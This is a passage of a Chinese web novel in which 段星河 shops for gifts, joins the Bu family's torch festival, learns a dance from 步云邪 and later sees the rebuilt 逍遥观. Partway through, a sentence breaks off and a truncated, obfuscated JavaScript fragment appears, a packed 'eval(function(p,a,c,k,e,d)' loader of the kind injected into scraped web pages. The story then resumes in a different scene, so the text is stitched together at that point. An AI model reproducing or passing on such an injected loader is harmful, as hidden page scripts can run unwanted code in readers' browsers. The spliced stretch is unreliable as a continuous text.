哗啦一声,伙计拉开匣子让他随意挑,一溜金灿灿的簪子各式各样,光看着就赏心悦目。他怕师娘日常舍不得戴,专门挑了朴素一点的款式,跟她当掉的那一支差不多,花了三十两银子。 他转过身来,见李玉真不知买了个什么东西,让人包好揣在怀里了。段星河瞥见金光闪闪的,了然道:“给宋姑娘的?” 宋胡缨没什么想要的,刚才就去对面的胭脂铺子了。小对眼蹲在地上,一只眼看天一只眼看地,正在发呆。 李玉真有点心慌,看了一眼街对面,道:“她不会收吧,你说她会不会打我?” 段星河好奇道:“你到底买了什么?” 李玉真摇了摇头,也没老实说。段星河寻思着反正是金首饰,道:“你要是觉得冒昧,那就等一等嘛。” 李玉真道:“等到什么时候?” 段星河扬起嘴角道:“等到你确定送的时候她不会打你不就行了。” 李玉真听他一席话,如听一席话,无奈道:“你这人真是,说了跟不说有什么区别。” 段星河哈哈地笑了,伙计把金簪装在锦盒里,递给了他。段星河又找了专门做神像的工匠,要给三清重塑金身彩绘,付了一百两银子。李玉真在街头买了三份糖水,在店外面等着他。段星河出来了,李玉真便把荸荠糖水递给他,道:“再去哪儿?” 段星河站在路边把糖水吃完了,侧着阳光眯起了眼,轻松道:“给师弟妹买点吃的用的,大家都等着呢。” 他逛了一圈集市,买了几扇排骨、上好的茶叶、糖果点心、药材补品,给师娘买了几匹锦缎,又去裁缝铺子给师弟妹们定了单衣、棉衣、单鞋和棉鞋各两套,几十床棉被,杂七杂八的加起来又花了八十两。 段星河忙着采买,那两个人在后头悠闲地逛着,一会儿吃糖炒栗子,一会儿吃糯米鸡,把一条街吃了一遍。段星河回头道:“给我一块。” 李玉真用荷叶包着一块糯米鸡送到他嘴边,道:“你不累啊?” 段星河两口把肉吃了,越逛越有劲儿,道:“忙完了再歇,少吃点,等会儿请你们下馆子。” 他把东西装在车上,赶着老黄牛往城东郊外的苗圃去了。老板正在大门前搓麻将,一群人抽着旱烟,吞云吐雾的十分热闹。段星河道:“老板,买你几棵树。” 他的牌友道:“来生意了,你先去忙。” 老板伸了个懒腰,站起来道:“小兄弟,要什么树?” 段星河寻思着后山有的是高树,松树、柏树、梧桐什么的,自己去挖就行了,家里就缺灌木。他道:“要冬青、米兰、蜡梅、紫藤,有太湖石没有?” 这边不光卖树,庭院里造景的东西都有。老板感觉来了大主顾,热情道:“都有,进来挑吧!” 三人进了苗圃,段星河选好了需要的东西,忽然想起了承诺他儿子的事,道:“有苹果和无花果树没有?” “有啊,”老板道,“都是半大树苗,种下去两年就有收成了。都是结果的品种,甜得很!” 他带众人往前走了一阵子,指着一棵像伞一样的无花果树道:“现在正结果子呢,你们尝尝。” 段星河扭下几个果子,跟众人分了。他掰开无花果,里面红红的,果肉柔软,一口咬下去又香又甜,墨墨一定会喜欢。而且这果树叶子大大的,种在花园里也很好看。 段星河道:“我再要十棵无花果树,十棵苹果树。” 老板道:“好嘞,我让人帮你种上,死了包赔,什么时候去?” 要布置庭院总得等到道场修完了再说,段星河道:“三个月后吧。苹果树和无花果树我自己种,其他的就交给你们了。” 他付了定金,老板十分大方,又送了他们一大包苜蓿种子和绣球花种子,道:“整平了地,撒上种子浇点水就行,很好活的。” 段星河忙活完了,出门长舒了一口气,道:“没事了,咱们吃饭去!” 车上大包小包的堆满了东西,李玉真和宋胡缨只能贴在角落里缩成一团。李玉真能感觉到她的体温透过薄薄的衣衫染到了自己身上,闻见了一阵淡淡的玫瑰香气。李玉真有点心猿意马,别开了眼不敢看她。宋胡缨抱着小对眼,依旧没什么表情,却又好像比平常温柔了一些。 街上人来人往,十分热闹。那一路没有多长,但对于那两个人来说好像过了好久。李玉真坐着一动也不敢动,手心里渗出了密密的汗水,宋胡缨往旁边挪了一下,碍于地方有限,也没跟他分开多远。段星河没意识到他们的局促不安,只觉得买完了东西一身轻松。 他驾着车去了镇上最大的酒楼,进门找了个雅间落了座。段星河点了不少好菜,终于做了一回东,道:“欢迎你们来这边。” “谢谢,”李玉真道,“这里挺好的,就是不知道饭菜是不是跟那边一样好吃。” 段星河笑了,道:“那就尝尝吧。” 三个人吃了一顿,感觉十分满足。饭后又叫了一壶茶,坐着歇了一会儿,货郎的叫卖声从远处传来,小孩子笑闹着跑远了。这个小镇子着实安逸得很,宋胡缨有点困了,李玉真便道:“咱们回去吧?” 段星河起身结了账,出门驾起牛车,缓缓地回了逍遥观。段星河回了家,师弟妹们还在练功。他便把糖果点心交给了师娘,又把其他东西卸了下来。乔月柔看着那些大包小包的,道:“花了不少钱吧?” 段星河大方道:“没多少,挣钱就是给自家人花的嘛。” 他从怀里掏出锦盒,递给乔月柔道:“师娘,这是弟子孝敬您的。” 那盒子十分精美,打开一看,是一支沉甸甸的素金簪。乔月柔十分惊讶,道:“买这个干什么?” 段星河道:“之前师娘当了嫁妆贴补观里,弟子心里过意不去。如今挣了钱,就想给您买一支。” 乔月柔把盒子合上了,正色道:“我不能收,你拿去退掉。” 段星河没想到她会拒绝,急切道:“弟子好不容易买来的,您就收下吧!” 乔月柔皱眉道:“太贵了,你挣点钱不容易,自己好好攒着。别给我买这些没用的东西。” 段星河坚持道:“您就收下吧,要不然弟子吃不下饭、睡不着觉,天天就惦记这事了。” 八尺多的好大儿耍起赖来,乔月柔也拿他没办法。她犹豫了一下,勉为其难道:“以后别乱花钱了。” 只要她肯收下,段星河就很高兴了,连声道:“好,我都听师娘的!” 他也是一片赤子之心,乔月柔缓和了口气,道:“谢谢你,好孩子,师娘很喜欢。” 段星河微微一笑,道:“后天工匠就来修房子了,大概要忙三个月,这段时间先让大家在后面做功课吧。” 乔月柔道:“我知道了,我来安排就是了。” 段星河从师娘这边出来,回了自己的住处。李玉真正坐在院子里发呆,段星河在他面前晃了晃手,道:“想什么呢?” 李玉真有些恍惚,低声道:“她好香啊。” 段星河一脸莫名其妙,道:“啊?” 李玉真上午坐车的时候,一直挨着宋胡缨,身上还沾着她的香气。宋胡缨用的香料名贵,靠得近了才闻得见淡雅的香气。一般人只看得到她身上长着的刺,李玉真却闻到了这朵玫瑰盛开的香气。段星河觉得他有点太陷进去了,提醒道:“兄弟,收敛一点吧,你的道心呢?” 李玉真有些慌乱,道:“啊,你看出我喜欢她了,很明显吗?” 段星河无言以对,长眼睛的人都看出来了,他还以为藏得很好。他不想让李玉真觉得太丢人,道:“有一点点明显吧。” 李玉真的脸红了起来,不知道该如何是好。段星河觉得这是人家的事,自己也不好过多干涉。他回屋睡了片刻,感觉有东西在挠自己。他睁开了眼,见墨墨在床头扒拉他,叽叽咕咕地叫着,十分激动。 段星河把它拨开了,道:“闹什么瓜皮,让我睡会儿……” 这时候忽听外面传来了敲门声,一人道:“星哥,在不在?” 段星河和墨墨的耳朵同时竖了起来,顿时精神了。他一个翻身坐了起来,看见了门外的剪影——马尾用暗红色发带束着,衣领衬出修长的脖颈,身材高挑。难怪墨墨这么兴奋,原来是步云邪来了。 50.青岩山 二 段星河开了门,墨墨一个箭步冲了出去,绕着来人的腿撒欢。步云邪笑了,低头把它抱了起来,道:“过得好吗?” “叽啾!” 墨墨蹭了蹭他手心,一日不见如隔三秋。段星河的头发翘着一撮,一副睡眼惺忪的样子。步云邪道:“睡觉呢?” 段星河道:“躺了一会儿,有事么?” 两天不见,步云邪在家休息的不错,气色比在外面的时候好多了。他穿着一身白色的衣袍,袖口和里衣是深蓝色的,头发结成一束,脸边垂着些碎发,有种没褪尽的少年气。 外头已经是黄昏了,漫天都是红色的晚霞。步云邪道:“我娘在寨子里摆了饭,让我过来叫你。” 段星河中午刚吃了一顿好的,此时还不饿,道:“啊,又吃饭?” 步云邪道:“你去不去?” 段星河从小就常去步家寨子玩,那边的长辈也把他当成自家的孩子。段星河觉得也该过去看看他们,道:“去去去,你等我一下。” 他回屋梳了头,整理了一下衣裳。步云邪见他把一张牛角弓擦得干干净净的,箭袋也放在桌上,皱眉道:“你要去射箭?” 段星河本来打算这两天去山里打兔子的,道:“是啊,怎么了?” 步云邪道:“家里亏你了,又不是没肉吃,还要你去打猎?” 段星河说:“不一样,锻炼身体嘛。” 他转过身去收凳子,背肌透过衣裳显出结实的轮廓,道:“刘正阳射的都比你好,你要不要也练练弓?” 刘正阳虽然讨人厌,唯一的长处应该就是射的准了。步云邪从小就讨厌拉弦放箭的声音,道:“不练,跟野人似的。” 他从腰间拔出小刀来,绷地一下子把弓弦割断了。段星河回个头的功夫,刚上的弦就完蛋了。他啧了一声,道:“诶你这人,讲不讲道理?” 步云邪哈哈直笑,从屋里跑出去了,声音远远地传过来:“不讲理——” 段星河拿他没办法,跟着出了门。墨墨颠颠地在后面跟着他们,去了旁边的步家寨子。 寨子里到处都是凤尾竹和芭蕉,又有些高大的凤凰树,土掌房一座挨着一座。寨子中间长着一棵十多人合抱的大榕树,周围有个硕大的广场,地上铺着青石砖,是寨子里的人聚会的地方。族长家的房子修的最大,院子也十分宽敞,此时屋里灯火通明,桌子上摆满了菜肴,还有自己酿的米酒。段星河一露面,步云邪家的人就都围过来了,纷纷道:“星伢子,你可算来了,快坐!” 段星河跟长辈问了好,挨着步云邪坐下了。步云邪把他的崽子介绍给了家人,道:“这是我的灵兽,叫墨墨。” 父亲有点惊讶,道:“它长着翅膀,鼻子还挺长的。” 墨墨黑豆眼眨了眨,十分温顺。父亲摸了摸它的背,觉得十分可爱,道:“这娃儿长得跟西瓜似的,怎么不叫瓜皮?” 步云邪噗嗤一声笑了,道:“它小名就叫段瓜皮。” 他把项圈上的金牌翻了过来,父亲看到了它的名字,满意道:“这才对嘛。” 步云邪的母亲一直很喜欢段星河,亲自给他倒了碗米酒,道:“星儿,云儿在外头这段时间多亏了你照顾,阿姨很感谢你!” 段星河连忙站了起来,道:“都是师兄弟,我们是互相照顾。” 爷爷道:“你是客人,好好坐着。” 段星河只好坐了回去,步云邪的父亲给他夹了块红烧蹄髈,热情道:“回家了,快吃点好的补补。” 段星河又想站起来,步云邪按着他肩膀道:“坐着就行啦,客气什么。” 段星河道:“多谢叔叔。” 爷爷举起碗道:“来,为了咱们的客人,干了!” 众人把酒一饮而尽,烛光微微跳动,照的屋里十分温暖。段星河有些羡慕步云邪有这么一大家子人,而自己什么都没有了。步云邪见他忽然安静下来,低声道:“怎么了,饭不好吃吗?” 段星河摇了摇头,他们对自己太好了,他反而有些难过。他也不知道是怎么回事,这种情绪很奇怪,他理解不了。步云邪明白他的心情,碰了碰他的手,道:“没事的,我们都是你的家人。” 段星河深吸了一口气,心情已经平静下来了。他虽然没有了父母妹妹,身边却有这么多好人,或许这就是他为什么想承担起责任,保护大家的原因吧。 他想弥补心里缺失的那份亲情,守护好身边的人,让他们不要再离开自己。他没有家,却又很想要家人。他还有很多的时间,可以从头建立一个大家族,像步家的爷爷一样,做一个好首领,让身边的人都安稳幸福。 众人吃了饭,步母泡了些炒米茶,又切了西瓜。爷爷吐了口旱烟,开口道:“云儿,你年纪也不小了,是不是该考虑找个好姑娘了?” 步云邪有点意外,压根没想过这件事。他道:“我是祭司,找什么女孩子?” 爷爷道:“祭司也可以成家啊,你娘生了你还当了十年的祭司呢。咱们寨子里没有那么严格,你趁着年轻赶紧挑一个,别让家里着急。” 步云邪有点尴尬,含糊道:“再说吧,我没想好呢。” 爷爷苦口婆心道:“明天是火把节,寨子后面有篝火晚会,你和星伢子都去跳跳舞,认识几个女孩子。” 段星河没想到自己也被卷进去了,也开始局促起来。步父笑道:“有什么不好意思的,窈窕淑女,君子好逑,该耍朋友就耍嘛!” 步云邪不想被家人再唠叨了,道:“好了我知道了。” 他转头看段星河,道:“兄弟,你来么?” 段星河目光游移,道:“后天逍遥观开工修房子,这几天我可能比较忙。” 步云邪点了点头,小声道:“不讲义气。” 事不关己,段星河还笑得出来,道:“家里人是为你好嘛,去看看,没损失的。” 吃完了饭,步云邪提着一盏竹灯笼送段星河回去。寨子里静悄悄的,高脚楼里露出星星点点的灯火,墨墨迈着小短腿跟在他们身后。草丛里传来虫儿细细的鸣声,到处都充满了安宁的气息。两人走在寨子里的小路上,脚步沙沙作响。步云邪道:“你真不来啊?” 段星河道:“你们寨子过节,我来凑什么热闹。” 步云邪有点闷闷不乐,道:“那么多人,我不想说话。” 他平常就爱清净,一下子面临那么热闹的气氛,确实不适应。段星河道:“你不是祭司么,今年要主持仪式吗?” 步云邪踢起一颗小石子,道:“我爷爷以为我没了,今年让我娘准备的,明天晚上她主持。” 他们回来的这么突然,寨子里的人也没有准备。段星河若有所思的,不知道在想什么。走到寨子口,段星河道:“你回去吧,路上太黑了。” 步云邪点了点头,把灯笼递给他。段星河低头看墨墨,道:“你要去哪边?” 墨墨站在步云邪身后,显然是要留下来了。段星河有点失望,道:“小没良心的,这边吃的好啊?” 墨墨哼唧了一声,段星河摆了摆手,道:“走啦。” 步云邪站在凤凰树下,目送着段星河在夜色中走远了。他神色淡淡的,似乎有些惆怅,片刻转过身,也回家去了。 火把节又叫星回节,跟汉族人的春节一样,是步家寨子最隆重的节日。每年到了火把节跟前,家家户户都在门前插上火炬,准备丰盛的饭菜、穿上漂亮的衣裳,准备聚在一起游行、跳舞,期待这一天的到来。 步家寨子后面有一大片空地,往东南边走,有个小山坡。他们的重大节日都在这里举行,天一亮,父亲和几个大小伙子就把一棵五丈多高的大松树抬了出去,埋在了空地中心。周围堆起一些柴草,形成一个宝塔型的大火炬。 步云邪和其他人一起把祭祀用的牛羊、美酒搬出来,忙活了好一阵子,天渐渐黑了。寨民们绕着广场围了个圈。乐器班子敲鼓吹笙,演奏起了祭祀的乐曲。步母穿上了年轻时祭祀的法袍,头上戴着银色的头冠,脖子上戴着月亮一般弯弯的项圈。她舒展手臂,神色庄严而宁静,跳了一支祭祀的舞蹈。 月光像一层银纱,轻柔地笼罩在母亲的身上。步云邪站在人群中,觉得她还是像年轻时一样美丽。自己好像回到了小时候,对母亲充满了崇拜。那时候他就决定,以后要做跟母亲一样的祭司。 祭司跳完了舞,向神明献上了三牲和美酒,祈求神赐给他们繁荣的火种。祭司用打火石擦出了火星,点燃那个巨大的火堆。火苗一点点蔓延开来,向上爬去,一直将整棵大树点着了。寨民们轰然爆发出一阵欢呼,高兴的不得了。 “喔,火了火了,吉祥康乐!” 步母用火堆点燃了火炬,又把寨民的火炬点了起来。一只火炬接着一只,把象征希望的火光传递出去。真正的狂欢开始了,寨民们举着火把排成一条长龙,在步父的带领下,绕着整个寨子转了一圈,又去田间地头行走,用烟雾和火光驱散毒虫。游行完了,已经到了亥时。众人聚集在空地上,斗羊、斗鸡,围着火堆唱歌跳舞,年轻男女可以借此机会聊一聊天,了解对方。 姑娘们三五成群地坐在一起,等着小伙子来请自己跳舞,大胆的也可以主动去邀请意中人。步云邪穿着一身当地特色的黑衣裳,袖子上绣着花,脖子上戴着个银锁圈,跟其他青年没什么不同。他坐在一个角落里,身姿挺拔潇洒,又显得有点无聊。他不想请任何人跳舞,只想安静地度过这个夜晚。 他是族长的孙子,又生的十分俊美,偷偷喜欢他的人有许多。一群女孩儿看着那边,害羞地推来推去,小声道:“你去、你去!” 一个女孩儿被推了出来,她戴着华丽的头冠,额前一排银色的流苏随着行动不住摆动,是那群女孩儿中打扮得最漂亮的。她整了整衣裳,踌躇满志道:“看我的!” 她朝步云邪走了过来,嫣然一笑道:“云哥哥,你怎么不去跳舞?” 她是寨子里银匠家的女儿,父亲能挣钱,她也有底气来说话。步云邪道:“不想跳。” 周围吵吵嚷嚷的,女孩儿没听清,道:“啊?” 步云邪只好扯着嗓子道:“不想跳——!” 女孩儿道:“为什么?” 步云邪扯了个谎,道:“扛树的时候崴了脚——跳不了。” 那女孩儿有些遗憾,道:“还疼吗——” 步云邪道:“没事——歇歇就好了。” 广场上极其热闹,大家一起唱着山歌,说话声低了根本听不见。两个人只好像八十岁的老人似的,扯着嗓子大声聊天。当然他们还有另一个选择,就是像其他的小情侣一样,挨得近一些,凑在对方耳朵边上说话。然而步云邪浑身散发着高冷的气息,显然不想跟任何人这么亲昵。 女孩儿道:“你一个人在这儿,不无聊吗——” 步云邪道:“不会啊,看他们跳舞就挺有意思的。” 两人这么聊天太费劲了,女孩儿有点累,道:“我可以在这儿坐一会儿吗?” 步云邪侧过耳朵道:“啊——?” 再好看的男人,交流起来这么费劲也让人十分幻灭。女孩儿不想嫁给一个聋子,道:“没事了,祝你今晚过得愉快。” 步云邪立刻听见了,道:“好的,再见。” 墨墨在前面看够了热闹,迈着小短腿回来了。步云邪把它抱在膝盖上,道:“没见过吧,人家冬天过年,我们是初秋过年。” 墨墨咕叽了一声,步云邪静静地抱着它,感觉它身上暖乎乎的,揣着跟个热水袋似的,还挺舒服的。 一阵夜风吹过,墨墨忽然竖起了鼻子,好像在嗅什么东西。步云邪低头道:“怎么啦?” 墨墨挣扎了几下,从他怀里钻出去,拍着翅膀飞走了。这地方这么大,步云邪怕它跑丢了,道:“喂,你别乱跑,回来!” 墨墨沿着山路向上飞去,步云邪追着它上了旁边的山头。到处都是茂密的灌木,草丛里开着五颜六色的蜀葵。步云邪道:“回来,你上哪去——” 墨墨飞到了山顶,在一人的脚边停了下来。那人转过身来,却是段星河。两人打了个照面,都十分惊讶。步云邪道:“你怎么在这里?” 段星河穿着一身墨蓝色的衣裳,模样俊朗。他搔了搔头道:“我听见这边挺热闹的,就爬上来看看。” 这个位置正好在篝火晚会的场地上方,往下望去一览无余,也不知道他在这里看了多久了。步云邪有点高兴,又气他不坦率。要不是墨墨嗅到了他的气息,根本没人知道他来过。他道:“想看就直接来嘛,干嘛这么不大方?” 段星河笑了一下道:“我不是你们寨子的人,凑什么热闹。” 步云邪觉得他在找借口,两人看着彼此,一时间没说话。段星河的眼瞳黝黑,映着远处的火光,显得目光格外有情。步云邪不常穿这种特色的衣裳,陡然换上了,让人觉得十分新鲜。段星河道:“你这样挺好看的。” 步云邪笑了,道:“你也挺好看的,嗯……跟昨天穿的一样。” 段星河有点尴尬,道:“你怎么不去跳舞?” 步云邪怀疑他刚才在偷看自己,道:“你怎么知道我没跳?” 段星河不小心说漏了嘴,不想太被动,道:“我猜的,你是不是不会?” 步云邪身为祭司,会跳的舞多了,还从来没有人这样质疑过他。他道:“我会啊,没心情而已,是你不会跳吧?” 段星河沉默了片刻,道:“我是不会啊,我只看过别人跳。” 他这么老实也很可爱,步云邪笑了,态度也缓和下来,道:“不难的,我教你吧。” 远处的火光灿烂,人群的欢笑声随着夜风传过来。步云邪低声道:“把手给我。” 段星河跟他握起了手,步云邪道:“跟我来——左,右,左,踢右脚;右,左,右,踢左脚,胳膊随着节奏摆。简单吧?” 他的碎发在风中轻轻摆动,胸前的银项圈随着舞步发出叮叮当当的声音。段星河很快就学会了,道:“就这?” 步云邪笑了,道:“就这你还不会呢。” 这是人群围着火把跳的舞,最容易学。段星河不满足于泯然众人,道:“还有没有好看一点的?” 步云邪想了一下,道:“有啊,就是有点复杂。要先这样,再这样,然后这样……” 他说着舒展双臂,动作充满了力量感,又十分潇洒,时而像雄鹰飞翔,时而像孔雀开屏。看他跳舞,什么时候都是一件赏心悦目的事,段星河注视着他的身姿,神色变得温柔起来。 步云邪被看的有点不好意思,道:“别光看着,跟我学啊。” 段星河这才反应过来,跟着他比划,片刻自己跳了一回,居然能记得差不离。步云邪赞许道:“挺有天赋的嘛,咱们一起跳一遍。” 火光映着两人的身影,墨墨在旁边看着,脑袋跟着晃来晃去的,觉得十分有趣。 后半夜了,广场上的火光渐渐熄灭。寨民们结束了狂欢,三三两两地散去了,欢乐的气氛还洋溢在寨子里。 步云邪摸了摸他的儿子,道:“玩得开心吗?” “叽啾——” 墨墨蹭了蹭他,拍着翅膀飞到了半空中,轻轻吐出一大片晶莹的白雾,如同轻纱悄然飘落。那是它赐予整个寨子的祝福,在新一年的开始,让大家都做一个好梦。 昨天夜里玩到太晚,寨子里的人上午才陆陆续续醒过来。星垂殿里,步云邪穿着一身白袍,正在准备闭关用的东西。接下来的三个月,他打算好好修炼一段时间,保持身心清净,给寨子里的人制作护身符,这是他们寨子每年的传统。 段星河从里间走了出来,伸了个懒腰,道:“什么时候了?” 步云邪道:“巳时了。” 昨天跳完舞太晚了,段星河便在星垂殿休息了。小笙从外头进来,道:“段师兄,要吃东西吗,给你留了饭。” 段星河道:“好啊,有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段星河信手翻开一页,见上头写着某年步家寨子得了瘟疫,十室九空。幸存寨民苦习医术,研究出了治疗瘟疫的经方,传承至今。 微风透过窗户吹进来,他翻过一页,见书上写着镇上某家出了个探花,村民都深以为荣。然而一名同窗嫉妒,趁探花郎返乡迎接老母,将其射死。那人弃箭逃入深山,被死者义兄追逐扭打,双双坠入悬崖。 段星河看得一头雾水,道:“都死了?” 县志的文字简略,只要发生过的大事都记了下来。段星河看的莫名其妙的,又翻了几页,见上面写着某年妖物降临,村长无奈之下进献童男童女十名,平息了劫难。后来村长被妖怪附体,癫狂之下活吃了自己的胞弟,又出去攻击别人,被愤怒的村民乱刀砍死。 段星河感到一阵脊背发凉,没想到这地方从前也有这么多幺蛾子。他索性搁下了,道:“什么乱七八糟的,没有点有意思的书么?” 步云邪一脸淡定道:“想看带画的有山海经,避火图没有。” 段星河一个翻身坐起来,道:“呸呸呸,什么避火图,我是那种人么!” 步云邪在走廊上放了几个蒲团,本来是乘凉的时候用的。墨墨窝在其中一个上,正在阴影里打瞌睡。一会儿太阳照过来了,把它的屁股晒得滚烫。它便闭着眼睛挪到另一个蒲团上,一点也没耽误睡觉。 小笙忍不住笑了,道:“这家伙真好玩,闭关能带它吗?” 步云邪道:“恐怕不行。” 小笙有些遗憾,这时候就见爷爷带着两个护卫,拄着龙头拐来了。小笙吓了一跳,道:“不得了,族长来了!” 祭祀准备的期间就要保持星垂殿的洁净肃穆了,原则上讲段星河是不准进来的。那两个护卫不便走得太近,在大殿远处停下来了。步云邪有点慌,但爷爷已经到了跟前,躲也来不及了。 步云邪手里拿着一把线香,有些手足无措。爷爷慈祥道:“昨天火把节过得怎么样?” 步云邪含糊道:“还行,挺好的。” 爷爷在矮桌跟前坐下了,道:“是吗,我听说你没跟女孩子跳舞,还半道偷偷地跑了,有这回事吗?” 步云邪知道有的是眼睛看着自己,抵赖也没用,看来爷爷今天就是为了这件事兴师问罪来的。他老实道:“我就是觉得无聊,还有点困,就先回来睡了。” 爷爷叹了口气,道:“爷爷让你找个好姑娘,也是一番好意。男人成了家才稳重,你看你现在,还跟长不大似的,怎么让人放心啊。” 步云邪一脸乖顺的模样,实际却是左耳朵听右耳朵冒,希望爷爷训完了赶紧回去歇着。自己过一阵子还要去天外天,要是谈了个姑娘,自己不幸死在外头、或者十年八年回不来,才是真的耽误人家呢。 爷爷唠叨了一堆,步云邪也不知道他说到哪里了。爷爷看出他走神了,敲了敲桌子道:“你这个孩子,听爷爷说话了没有?” 步云邪连声道:“听了听了。” 爷爷道:“我说什么了?” 步云邪敷衍道:“早点找对象。” 爷爷有点生气了,道:“我就知道你没听。我让你闭关期间别太辛苦,健康最重要!” 步云邪忍不住笑了,道:“我知道了嘛,爷爷别生气了。” 他好不容易从外面回来,爷爷也舍不得说他太多。可这孩子到现在还不为将来做打算,整天跟逍遥观那帮师兄弟混在一起,让人看了就着急。 爷爷咳嗽了两声,小笙连忙倒了杯茶,道:“族长,您润润喉咙。” 爷爷喝了一口水,垂眼看看手里的杯子,又看着桌子上的杯子,道:“怎么有四个茶碗?” 桌上除了小笙和步云邪喝的水之外,还有段星河用过的茶杯没收起来。步云邪没想到爷爷这么敏锐,勉强道:“这是墨墨喝水用的,我还没洗。” 爷爷诧异道:“动物跟人用一套杯子?” 步云邪道:“对不起,我太宠它了!” 爷爷觉得不对劲,站了起来,怀疑这里还有别人。步云邪和小笙的心都提到了嗓子眼,要是被爷爷发现祭祀之前有外人进来,他说不定要大发脾气。 爷爷拄着拐杖健步如飞,走进里屋,见四下干干净净的,一个人影也没有。步云邪跟了过来,见段星河就像蒸发了一样,凭空不见了。他有些困惑,又悄然松了口气。爷爷见没人,总算放了心,缓和道:“闭关祈福是大事情,不能儿戏。一共三个月,很快就过去了。” 步云邪道:“好,我知道了。” 爷爷来到走廊上,见墨墨已经跟着影子挪到了墙根,圆滚滚的倒是挺可爱。他的表情有点动容,还是无情道:“等会儿小笙把它抱走,给星伢子养着去。” 墨墨耳朵动了动,抬头看着他们,黑豆眼有些无辜。小笙忍不住道:“可是它很乖啊。” 爷爷严肃道:“祈福是跟神交流,不能有任何杂念。要是让人知道祭司在闭关期间偷偷养猪,大家还会信赖咱们么?” 步云邪想说他儿子不是猪,哪有猪长这么长鼻子的,但也不好跟爷爷争论。他点了点头,道:“好,等会儿就送过去。” 爷爷这才满意了,带着随从离开了星垂殿。总算送走了爷爷,两人都出了一身虚汗。步云邪回到里屋,到处都找不到人,十分困惑。 “人呢,真走了?” 就听吱呀一声,床边的大衣柜开了一道缝。段星河从里面探出了头,仿佛一只田鼠从洞里钻出来,道:“爷爷走了吗?” 步云邪有点好笑,道:“走远了,出来吧。” 段星河长舒了一口气,从大衣柜里钻出来,沾了一身樟脑味。刚才他听见外头的动静,就一个箭步钻到柜子里去了。步云邪扬起嘴角,道:“还挺机灵的。” 段星河道:“那是,不想给你添麻烦嘛。” 他活动着手脚,一想就要三个月见不到他了,还有点舍不得。段星河道:“我是不是耽误你干活儿了?” “没事,”步云邪道,“明天才开始呢,今天先歇一歇吧。” 他扯了个蒲团坐在地上,在大殿门前看着外面。天高云淡,微风把树叶吹得不住摆动,初秋的凉意漫延开来。步云邪深吸了一口气,有种浑身舒畅的感觉,道:“这天气真不错。” 小笙抱着膝盖坐在一旁。段星河在地板上躺下了,头枕着双手,看着远处的天空,叹道:“是啊,凉凉的真舒服。” 51.青岩山 三 缺一门的老刘头带着十来个工匠来到了逍遥观,在这里住下了,每天天一亮就开工,砌墙、锯木头、上油漆、抹腻子,一天到晚都忙得很。师娘让孩子们在后面念书打坐,跟工匠们互不干扰。 步云邪开始在星垂殿闭关了,赵大海他们还没回来。段星河和李玉真、宋胡缨三个人闲着没事做,便也开始修炼了。 段星河白天忙道观里的事,隔一段时间就去看看老刘头他们,问问有什么要帮忙的。地上堆着卷曲的刨花,硕大的石料和木料已经卸下来了,整齐地放在角落里。老刘头手里打磨着一根榫头,道:“老头儿闭着眼都把这些活给你干的稳稳当当的,都交给我就行啦,不用操心。” 自己对于营造确实是外行,问的多了反而耽误人家干活。段星河便把精力转到了修炼上,他停在金丹初期有半年了,积累了不少精元。如今有了积累再去修炼,没费太大力气就突破了一重境界,到达了金丹二重。 天外天虽然危险,却着实是个历练的好地方。若是在本来的世界里,段星河要修炼到现在这个程度,起码要熬到三十岁开外,如今他能进步这么神速,跟在那边获得的经验是分不开的。 房中一灯如豆,灯火不住跳动。段星河盘膝坐在床上,把真气引导回丹田中,缓缓吐出一口气。夜风吹进来,天已经冷了。他起身关了窗户,看着外面开始凋零的草木,心里寻思着两个多月了,房子也该修好了吧? 次日一大早,他去外头看了一眼,整个人都震惊了。才两个月没出来,整个逍遥观都大变样了。光是前面的这一进院子就扩展了不少,两侧加盖了好几间厢房,里头的腻子都已经抹好了,敞着门正在晾房子。 宋胡缨和李玉真过来了,他俩前几天就出关了,已经过了最震惊的那个时候。李玉真笑呵呵道:“段兄,修炼的如何了?” 段星河对自己还算满意,道:“修到金丹二重了。” 宋胡缨微微一笑,道:“我也到金丹期了。” 段星河知道她以成为兵家第一人为目标,一向十分刻苦,道:“恭喜,李兄呢。” 李玉真搔了搔头道:“惭愧,我还卡在筑基后期,不过比之前也有进步了。” 他这段时间一直心猿意马的,睁眼闭眼都想着宋胡缨,没能专心修炼。几个月下来,宋胡缨都到了金丹期,他却落到了后面。李玉真心里有点慌,后悔自己没好好利用时间,只能在接下来的日子里加紧修炼了。 段星河道:“两个多月了,房子修的怎么样了?” 李玉真前天刚逛了一遍,道:“气派得很,走,我带你看看去——” 他拉着段星河,宋胡缨跟在他们身边,从侧门出去,往前绕到大门口。就见原来低矮的正门比从前开阔了一倍,五层汉白玉的石台阶通到门前,大门和瓦片是黑色的,门上镶嵌着一双衔着铜环的莲花。门前嵌着一双蓝底金字的木楹联,上面写着“难得遇此神仙地,一生愿做自在人。” 大门正上方挂着一块黑底金字的牌匾,写着逍遥观三个大字。大门前的两个石狮子还是以前的,身上的泥灰已经刷洗干净了。 段星河摸了摸狮子头,道:“你身上几百年的老包浆呢?” 李玉真邀功地说:“前天我们逛完了,闲着没事就把它俩洗了,搓了好多灰下来。” 宋胡缨道:“还有我。” 段星河笑了,道:“挺好,走吧,进去看看。” 迈步进了大门,便是一座石影壁,上头刻着道法自然四个大字,周围有些祥云的浮雕,上面带着黑色的檐头。这些都是段星河跟老刘头定好了的,他看图纸的时候心中有个大概的画面,实际的效果比他想象中的还好。段星河摸了摸石雕的云朵,觉得有钱能使鬼推磨,叹道:“真不错,钱没白花!” 转过影壁,院子里放着他们传了好几代的黄铜大香炉,正殿供奉着三清像。院子里还堆着些石料,有些凌乱,但已经有一股子庄严恢弘的气势了。段星河整个人振奋起来,快步走进了正殿,三清的神像高大华丽,工匠已经做完彩绘了。师娘这段时间也在忙活,她把大殿里发黄的旧帷幔拆掉,换成了蓝色的新帷帐,用金色的络子束起来。又摆上了素净的青瓷花瓶,供着些丰茂的墨菊。墙壁干净雪白,没有一点裂纹,窗户也都换成了黄檀的窗棂。 段星河看着周围的一切,这就是他做梦都在想的情形。他想笑一笑,眼睛却不知道为什么有些酸,哑声道:“真好看。” 李玉真拍了拍他的背,道:“兄弟,愿望实现了,高兴一点啊。” 段星河迅速地擦了一下眼睛,道:“高兴,我挺高兴的。” 